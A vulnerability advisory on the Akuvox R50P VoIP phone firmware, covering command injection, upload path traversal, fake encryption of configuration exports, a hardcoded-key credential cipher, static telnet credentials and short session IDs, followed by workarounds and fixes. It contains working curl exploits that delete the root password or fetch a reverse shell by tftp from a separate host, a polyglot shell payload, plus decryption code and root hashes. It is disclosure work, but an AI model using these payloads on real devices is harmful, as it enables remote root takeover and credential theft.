1. Summary

Vendor: Akuvox

Product: Akuvox R50P

Affected Version: 50.0.6.156

CVSS Score: 7.2 (High)
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C/CR:M/IR:M/AR:M/MAV:N/MAC:L/MPR:H/MUI:N/MS:U/MC:H/MI:H/MA:H)

Severity: high

Remote exploitable: yes

The Akuvox R50P Voice over IP phone firmware contains differential critical vulnerabilities. Missing input validation would allow attacker to trigger code execution. Furthermore inappropriate and incorrect cryptographical methods can leak credentials and user secrets.

In order to control the device by injecting arbitrary OS commands via web requests, the attacker needs network access to the phone's configuration webserver and must be authenticated or have access to a configuration backup (due to a weakness in backup protection the attacker could get authentication credentials from a configuration backup).

Command Injection and Code Execution (Vulnerability 1):

The phone provides an option to save the IP address of an external logging server ("Upgrade → Advanced → System log → Remote System Server). This IP is forwarded to a shell script which will start the log server. The IP address input is not verified or sanitized. The shell script `tools.sh` is handling web input.

```
#! /bin/sh

#create directory
mkdir -p /tmp/webup/
mkdir -p /tmp/download/
mkdir -p /var/ipc/
mkdir -p /var/run/
mount --bind /tmp/download/ /app/resources/www/htdocs/download/

#start syslogd server
RemoteSyslog=`/app/bin/inifile_wr r /config/Phone/General/Setting.conf "LOGLEVEL"
"RemoteSyslog" ""`
RemoteServer=`/app/bin/inifile_wr r /config/Phone/General/Setting.conf "LOGLEVEL"
"RemoteServer" ""`
if [ $RemoteSyslog == 1 ];then
ip=$RemoteServer
OIFS=$IFS
IFS='.'
set $ip;
      v------------------ input from web interface
if [ $1 -gt 0 ] && [ $1 -lt 255 ]  && [ $2 -ge 0 ] && [ $2 -lt 255 ]  && [ $3 -ge 0 ] && [ $3
-lt 255 ]  && [ $4 -gt 0 ] && [ $4 -lt 255 ]; then
syslogd -R $1.$2.$3.$4 -S -O /tmp/Messages -s 100 -b5 &
fi
else
syslogd -S -O /tmp/Messages -s 100 -b5 &
fi

#start sync tool
```

```
#./sync  src_dir dst_dir
/app/bin/sync /app/factory /config

#custom check
/app/scripts/custom_check.sh
```

An attacker can send a malformed input for the `$1` variable, which will close the first **`if`** condition with an `]` and after that parts to that malformed input will be executed as Linux command. The following input example will execute a ping command:

```
12]; ping 10.148.207.102
```

An attacker can abuse this to get a remote root shell, see "Impact" section.

Missing File Verification and Path-Traversal (Vulnerability 2):

The phone provides a feature to upload own ring tones e.g. WAV files (Phone → Ringtones → Ringtones Upload). The upload function does not restrict modification of the upload path. An attacker can modify the upload path and the file will be written to that specified folder (using path traversal). Further, the file content is only checked via a few header byte values, which would allow an attacker to upload a script file, with a script as payload content but has a file header that is accepted by the phone.

The following script file would be valid content and can be abused to trigger a remote shell download and launch:

```
MThd.........MTrk...3...
...2009.11.01...
......@.e...T.!......Q....../.

echo "Test"
cd /tmp/
tftp -g -r revshell 10.148.207.102 6969
chmod 755 /tmp/revshell
/tmp/revshell
```

The first bytes of the file are the standard MIDI header. The complete file will be interpreted as shell script. The first three lines, as they are not valid shell script code, will generate error messages. The following lines will continue executing the content. The presented code is a shell script follows which is downloading a reverse shell code via `tftp` from a server. Afterwards the reverse shell code will be executed and spawn a root shell.

Inappropriate Encryption Function for Configuration Export (Vulnerability 3):

The device provides a configuration export function (Upgrade → Advanced → Other → Export (Encrypted)) for local file storage of the phone's configuration data. It claims to encrypt the exported files. This protection is required because the configuration file for instance contains the credentials for the web interface login or for the corresponding SIP server. The problem is the device does not really use cryptographic techniques based on an encryption algorithm and a user secret to protect the data. It is only a weak obfuscation by modifying the header of the exported `.tgz` (tar, gzip) archive.

The following bash script will reconstruct the original header and will allow to open the exported configuration files:

```
#!/bin/bash
if [ $# -eq 0 ]
then
        echo "missing  arguments"
        echo "use: decrypt.sh <encrypt.tgz> <decrypt.tgz>"
        exit 1
else
        echo "decrypting..."
        echo "Input file $1"
        echo "Output file $2"
        echo -en '\x1f\x8b\x08\x00\x10\x6b' >  $2
        dd if=$1 bs=1 skip=13 >> $2
        echo "Done !"
fi
```

The script replaces the modified header with original `.tgz` header values (`1F 8B 08 00 10 6b`).

Inappropriate Encryption Function for Credential Storage (Vulnerability 4):

The admin and user credentials for the web interface and the SIP server are stored encrypted in corresponding .conf files (`Setting.conf`, `SipAccountx.conf`). The encryption function called `phone_aes_encrypt()` is a self-implemented substitution cipher, which can be broken by reverse engineering the firmware. Even worse, the key for the encryption is hardcoded as part of the firmware. Whoever has access to the firmware can extract the algorithm and the key to decrypt the credentials. The following excerpt shows the web interface credentials base64 encoded from the `Settings.conf` file:

```
…
[ LOGIN ]
User =admin
Password =D/6SxcRQwsgPwVwdfIiQhg+zh8fqlvfBkNY29aSkxw+CwqItFbeLaPG7tx0D

[ WEB_LOGIN ] User =admin
Password =xzahQYJBxcgPwVwdfJVoYTfCwiyaoosyF5BAHQ8zleoVwcdBKPXCx0aQxIaJ
Type =admin
User02 =user
Password02 =8cFhHfcPCJIzUP58xJpGNsHHu1C3xAjHt4ReQmFA91DqF0Ayw4c3QEbFhDIo
…
```

The following C code will reproduce the encryption and decryption feature and would be able to decrypt the credentials:

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "b64.h"     //base64 encoding lib, use your preferred lib


unsigned char box_encr[] =
{
  0xFA, 0x9F, 0x9E, 0xD5, 0xB8, 0x3B, 0xB5, 0x5B, 0x1B, 0x24,
  0x7E, 0xA0, 0x7F, 0x79, 0xC9, 0x8D, 0x0B, 0x4A, 0x11, 0x80,
  0xFB, 0xBC, 0xCE, 0xF4, 0xBA, 0xDC, 0xEF, 0x6E, 0xEE, 0x0C,
  0xEC, 0xE8, 0xAA, 0x8A, 0xBE, 0x62, 0xC6, 0x73, 0xBD, 0xE1,
  0x97, 0x3C, 0x81, 0x16, 0xB4, 0x49, 0xA3, 0xBF, 0x94, 0xB6,
  0x3F, 0x8F, 0x71, 0x0D, 0x83, 0x2B, 0xE9, 0x72, 0x99, 0xD7,
  0x7D, 0x85, 0xC0, 0x27, 0x10, 0x82, 0x89, 0xD6, 0xF1, 0x46,
  0xB7, 0x8B, 0x84, 0x37, 0xA1, 0x36, 0x86, 0x43, 0xF5, 0x15,
  0xF7, 0x34, 0xA4, 0x68, 0x42, 0x28, 0x95, 0x2C, 0x9A, 0x2D,
  0x03, 0x17, 0xB3, 0xC3, 0x40, 0xC4, 0x41, 0xC8, 0x9B, 0x32,
  0x0F, 0x50, 0xBB, 0x90, 0x87, 0x5C, 0xC7, 0x08, 0xA2, 0xC1,
  0x1D, 0x96, 0xF0, 0xC2, 0xFE, 0x33, 0xEA, 0x92, 0x5E, 0x88,
  0xC5, 0x61, 0x9C, 0x74, 0x25, 0xD9, 0x35, 0x65, 0xA5, 0xCF,
  0x98, 0xB1, 0x1E, 0x53, 0x44, 0xA6, 0xAE, 0x09, 0xAF, 0x4C,
```

```
  0xCA, 0xCC, 0xE2, 0xB9, 0x8E, 0xDF, 0xE7, 0x76, 0x75, 0x45,
  0xF9, 0x31, 0xA7, 0x9D, 0xA8, 0xCB, 0x6D, 0xDA, 0x2F, 0x12,
  0xA9, 0xCD, 0xD0, 0xD1, 0x19, 0x02, 0x6C, 0xD2, 0x0A, 0x1A,
  0x13, 0xD3, 0xE6, 0xF6, 0x8C, 0x77, 0xD4, 0x69, 0xEB, 0x47,
  0xB0, 0xE4, 0x78, 0x54, 0x7A, 0x1C, 0x1F, 0xE5, 0xF3, 0x4D,
  0xF8, 0xAB, 0x14, 0xD8, 0x63, 0x2E, 0xDB, 0xDD, 0xFC, 0xDE,
  0xED, 0x0E, 0x91, 0xE0, 0xFD, 0x18, 0x48, 0xE3, 0x7B, 0x30,
  0x20, 0x2A, 0x21, 0x93, 0xAC, 0xAD, 0xB2, 0xF2, 0x6F, 0xFF,
  0x00, 0x64, 0x38, 0x01, 0x22, 0x04, 0x39, 0x05, 0x66, 0x23,
  0x06, 0x4E, 0x29, 0x26, 0x3A, 0x3D, 0x3E, 0x5D, 0x07, 0x4B,
  0x4F, 0x51, 0x52, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5F,
  0x60, 0x67, 0x6A, 0x6B, 0x70, 0x7C
};

unsigned char box_decr[] =
{
  0xDC, 0xDF, 0xA5, 0x5A, 0xE1, 0xE3, 0xE6, 0xEE, 0x6B, 0x89,
  0xA8, 0x10, 0x1D, 0x35, 0xC9, 0x64, 0x40, 0x12, 0x9F, 0xAA,
  0xC0, 0x4F, 0x2B, 0x5B, 0xCD, 0xA4, 0xA9, 0x08, 0xB9, 0x6E,
  0x84, 0xBA, 0xD2, 0xD4, 0xE0, 0xE5, 0x09, 0x7C, 0xE9, 0x3F,
  0x55, 0xE8, 0xD3, 0x37, 0x57, 0x59, 0xC3, 0x9E, 0xD1, 0x97,
  0x63, 0x73, 0x51, 0x7E, 0x4B, 0x49, 0xDE, 0xE2, 0xEA, 0x05,
  0x29, 0xEB, 0xEC, 0x32, 0x5E, 0x60, 0x54, 0x4D, 0x86, 0x95,
  0x45, 0xB3, 0xCE, 0x2D, 0x11, 0xEF, 0x8B, 0xBD, 0xE7, 0xF0,
  0x65, 0xF1, 0xF2, 0x85, 0xB7, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
  0xF8, 0x07, 0x69, 0xED, 0x76, 0xF9, 0xFA, 0x79, 0x23, 0xC2,
  0xDD, 0x7F, 0xE4, 0xFB, 0x53, 0xB1, 0xFC, 0xFD, 0xA6, 0x9C,
  0x1B, 0xDA, 0xFE, 0x34, 0x39, 0x25, 0x7B, 0x94, 0x93, 0xAF,
  0xB6, 0x0D, 0xB8, 0xD0, 0xFF, 0x3C, 0x0A, 0x0C, 0x13, 0x2A,
  0x41, 0x36, 0x48, 0x3D, 0x4C, 0x68, 0x77, 0x42, 0x21, 0x47,
  0xAE, 0x0F, 0x90, 0x33, 0x67, 0xCA, 0x75, 0xD5, 0x30, 0x56,
  0x6F, 0x28, 0x82, 0x3A, 0x58, 0x62, 0x7A, 0x99, 0x02, 0x01,
  0x0B, 0x4A, 0x6C, 0x2E, 0x52, 0x80, 0x87, 0x98, 0x9A, 0xA0,
  0x20, 0xBF, 0xD6, 0xD7, 0x88, 0x8A, 0xB4, 0x83, 0xD8, 0x5C,
  0x2C, 0x06, 0x31, 0x46, 0x04, 0x8F, 0x18, 0x66, 0x15, 0x26,
  0x22, 0x2F, 0x3E, 0x6D, 0x71, 0x5D, 0x5F, 0x78, 0x24, 0x6A,
  0x61, 0x0E, 0x8C, 0x9B, 0x8D, 0xA1, 0x16, 0x81, 0xA2, 0xA3,
  0xA7, 0xAB, 0xB0, 0x03, 0x43, 0x3B, 0xC1, 0x7D, 0x9D, 0xC4,
  0x19, 0xC5, 0xC7, 0x91, 0xCB, 0x27, 0x8E, 0xCF, 0xB5, 0xBB,
  0xAC, 0x92, 0x1F, 0x38, 0x74, 0xB2, 0x1E, 0xC8, 0x1C, 0x1A,
  0x70, 0x44, 0xD9, 0xBC, 0x17, 0x4E, 0xAD, 0x50, 0xBE, 0x96,
  0x00, 0x14, 0xC6, 0xCC, 0x72, 0xDB
};

int phone_aes_decrypt(char *key, char *decoded_str, int size, char *result) {
        int i;
        int j;
        int k;
        unsigned char tmp;

        if ( !key || !decoded_str || !result || !size )
            return -1;
         for (i = 0; i < size; i++) {
                decoded_str[i] = box_decr[(int)result[i]];
        }
        for (j = 0; *key % size > j; j++) {
                printf("j=%d\n",j);
                tmp = *decoded_str;

                for (k = 0; k < size - 1; k++) {
                        decoded_str[k] = decoded_str[k + 1];
                }

                decoded_str[size - 1] = tmp;
        }
        return 0;
}
```

```
int phone_aes_encrypt(char *key, char *encrypt_str, int size, char *result) {
        int i;
        int j;
        int k;
        unsigned char tmp;

        for (i = 0; i < size; i++) {
                result[i] = box_encr[(int)encrypt_str[i]];
        }

        for (j = 0; *key % size > j; j++) {
                printf("j=%d\n",j);
                tmp = encrypt_str[size - 1];
                for (k = size - 1; k > 0; k--) {
                        encrypt_str[k] = encrypt_str[k - 1];
                }

                *encrypt_str = tmp;
        }
        return 0;
}



int main (int argc, char *argv[]) {
     char *enc = b64_encode(str, strlen(str));

     printf("%s\n", enc);

     char *dec = b64_decode(argv[1], strlen(argv[1]));

     printf("%s\n", dec);
     printf("size1 %d size2 %d", strlen(dec), sizeof(dec));
     //                    v-----------------------------------hardcoded key from the fw
     phone_aes_decrypt("akuvox", dec, strlen(dec), dec);
     printf("Result: %s \n", dec);

     free(dec);
     return 0;
}
```

An attacker can abuse this flaw to decrypt the stored credentials from the configuration file and abuse them for further attacks.

Running Telnet Server with Static Credentials (Vulnerability 5):

The device is running a telnet server on port 23. This service is running by default and cannot be turned off by the user. Further it is not possible for the user to change the password for the telnet service. The credentials are hardcoded as part of the firmware (des crypt), the following excerpt of the `shadow` file shows the used hashes:

```
root:pVjvZpycBR0mI:10957:0:99999:7:::
admin:UCX0aARNR9jK6:10957:0:99999:7:::
```

The used hash scheme limits the password value length to 8 which is not sufficient, based on state of the art recommendations for a password policy. For a proof of concept we broke one of the hashes but will not publish it for security reasons.

Short Session ID (Weakness 1):

The server produces weak (or more precise) too short session IDs. We observed session IDs with a length between 3 to 5 digits. See the following example with `SessionId=328`:

```
GET http://10.148.207.221/css/admin.css HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/css,*/*;q=0.1
Accept-Language: de,en-US;q=0.7,en;q=0.3
Referer: http://10.148.207.221/fcgi/do?id=1&RefRand=29265743
Connection: keep-alive
Cookie: SessionId=328; UserName=admin; Password=21232f297a57a5a743894a0e4a801fc3;
RebootUserName=admin
Host: 10.148.207.221
```

Such short session IDs can be brute forced by an attacker and then he would be able to hijack the session of the logged in user.

2. Impact

The following sections describe different attacks and attack scenarios abusing the described vulnerabilities from section 1.

Command Injection via Log Server IP, Code Execution and Trigger Remote Root Shell:

Remote Root Shell:

If an attacker gets knowledge about the phone credentials he can establish a remote shell as root user. He can use the *vulnerability 1* in combination with *vulnerability 5* to get a root shell via telnet.

In the first stage of the attack an attacker executes the following `curl` command:

```
curl -i -s -k -X  'POST'  \

 -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0'
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'  -H
'Accept-Language: en-US,en;q=0.5'  -H 'Referer:
http://10.148.207.221/fcgi/do?id=6&id=2&RefRand=75597247'  -H 'Content-Type: application/x-
www-form-urlencoded' -H 'Connection: keep-alive'  -H 'Cookie: RebootUserName=admin;
SessionId=79443'  -H 'Upgrade-Insecure-Requests: 1'  -H ''  \

--data-binary $'SubmitData=begin&Operation=Submit&cRemoteSystemLog=1&cRemoteSystemServer=12 ];

passwd -d root # &SubmitData=end' \

'http://10.148.207.221/fcgi/do?id=6&id=2&RefRand=76439866
```

This command will execute the command `passwd -d root` on the device, which will delete the password of the root user. This is possible because of vulnerability 1 and because the web server is running with root privileges. Afterwards the attacker can connect to the running telnet service with user root. Because of missing credentials there is no password request and a root shell is spawned.

```
~$ telnet 10.148.207.221
Trying 10.148.207.221...
Connected to 10.148.207.221.
Escape character is '^]'.

R51 login: root


# ps
  PID USER       VSZ STAT COMMAND
```

```
    1 root      2468 S    init
    2 root         0 SW   [kthreadd]
    3 root         0 SW   [ksoftirqd/0]
….
   83 root     10048 S    /app/bin/eeprom-update /config/EEPROM/eeprom.dat
   93 root         0 SW   [kvoice]
  181 root      2468 S    sh /app/scripts/pmonitor.sh
  184 root      9120 S    /app/bin/pmonitor
  188 root      2472 S    /usr/sbin/telnetd  ← telnet with root privileges
  192 root     49140 S    /app/bin/netconfig
  202 root     25780 S    /app/bin/phone
  215 root      3724 S    /app/bin/lighttpd -D -f /app/config/web/lighttpd.con
  218 root     69472 S    /app/bin/sip -a 0
  221 root     13560 S    /app/bin/autop
  229 root     23108 S    /app/bin/fcgiserver.fcgi
  243 root      2468 S    syslogd -R 0.0.0.12 -S -O /tmp/Messages -s 100 -b5
  314 root      2472 S    -sh
  316 root      2472 R    ps
#
```

An alternative attack without modifying the root password is to load a reverse shell via TFTP.

```
curl -i -s -k -X  'POST'  \

 -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0'
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'  -H
'Accept-Language: en-US,en;q=0.5'  -H 'Referer:
http://10.148.207.221/fcgi/do?id=6&id=2&RefRand=75597247'  -H 'Content-Type: application/x-
www-form-urlencoded' -H 'Connection: keep-alive'  -H 'Cookie: RebootUserName=admin;
SessionId=31856'  -H 'Upgrade-Insecure-Requests: 1'  -H ''  \

--data-binary $'SubmitData=begin&Operation=Submit&cRemoteSystemLog=1&cRemoteSystemServer=12 ];

cd /tmp/; tftp -g -r revshell 10.148.207.102 6969; chmod 755 /tmp/revshell; /tmp/revshell

  # &SubmitData=end' \

'http://10.148.207.221/fcgi/do?id=6&id=2&RefRand=76439866
```

The injected command (`cd /tmp/; tftp -g -r revshell 10.148.207.102 6969; chmod 755 /tmp/revshell; /tmp/revshell`) downloads an ARM reverse shell binary from the TFTP server `10.148.207` via port `6969`, makes it executable and executes the shell. A listener (`nc -lvp 4444`) will wait for the shell request.

Command Injection via Ring Tone File Upload, Code Execution, Trigger Remote Root Shell

Another exploit to get a remote root shell is the insufficient path validation for the ring tone upload (see *vulnerability 2)*.

```
curl -i -s -k -X  'POST'  \

 -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0'
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'  -H
'Accept-Language: de,en-US;q=0.7,en;q=0.3'  -H 'Referer:
http://10.148.207.221/fcgi/do?id=4&id=5&RefRand=56340408'  -H 'Content-Type: multipart/form-
data; boundary=---------------------------172728047984251942415538200 32'  -H 'Content-Length:
604'  -H 'Connection: keep-alive'  -H 'Cookie: SessionId=11736; RebootUserName=admin'  -H
'Upgrade-Insecure-Requests: 1'  -H ''  \

--data-binary $'---------------------------172728047984251942415538200 32\r\nContent-
Disposition: form-data;
name=\"uploadType\"\r\n\r\n&Operation=Upload&DestUpFile=../../../../../../../etc/protocols&\r\
n---------------------------172728047984251942415538200 32\r\nContent-Disposition: form-data;
name=\"uploadFile\"; filename=\"../../../../../../../etc/protocols\"\r\nContent-Type: audio/x-
wav\r\n\r\nMThd.....MTrk...3...\n...2009.11.01...\n.....@.e...T.!.....Q...../.\n\necho
```

```
\"Test\"\ncd /tmp/\ntftp -g -r revshell 10.148.207.102 6969\nchmod 755
/tmp/revshell\n/tmp/revshell\n\r\n----------------------------172728047984251942415538200 32--
\r\n' \

'http://10.148.207.221/fcgi/do?id=4&id=5&RefRand=39317079'
```

The `curl` command uploads a script file, concealed as audio file into the `/etc/` folder and overwrites the `protocols` file, which is executable. When this file will be executed, a reverse shell (see attack above) will be established. The overwriting of the `protocols` file is just an example, it would also be possible to overwrite another configuration or setup script which is executed automatically at phone startup.

Get Access to Admin or User Credentials

As already mentioned the command injection attacks require authentication credentials (admin or user credentials). To get the necessary credentials an attacker can try default credentials (if device admin did not change it), can try to brute force it or try to abuse *vulnerability 3* and *vulnerability 4*.

An attacker having access to a configuration export, can use the "decryption" script described in *vulnerability 3* to get access to the configuration files storing the "encrypted" admin/user passwords. With the program shown in *vulnerability 4* he can retrieve the password and abuse this for the aforementioned attacks to get a full root shell.

3. Workaround

Change the standard credentials and use strong passwords, which will not be guessable. Restrict the web interface access to a well-known group of people. Try to block (firewall) the telnet access from untrusted or external networks.

4. Possible fix

Input validation must be handled on server side, not on client side (application) layer. Further, the server implementation should forward unchecked (critical) input to shell scripts. The telnet service must be disabled.

Another mitigation strategy is to reduce the privileges of the webserver, it should not run as root. If the system implements a user management concept, this should be enforced on all layers.

For data confidentiality appropriate (state of the art) encryption algorithms like AES should be used without static keys. The encryption key must be derived from a user secret.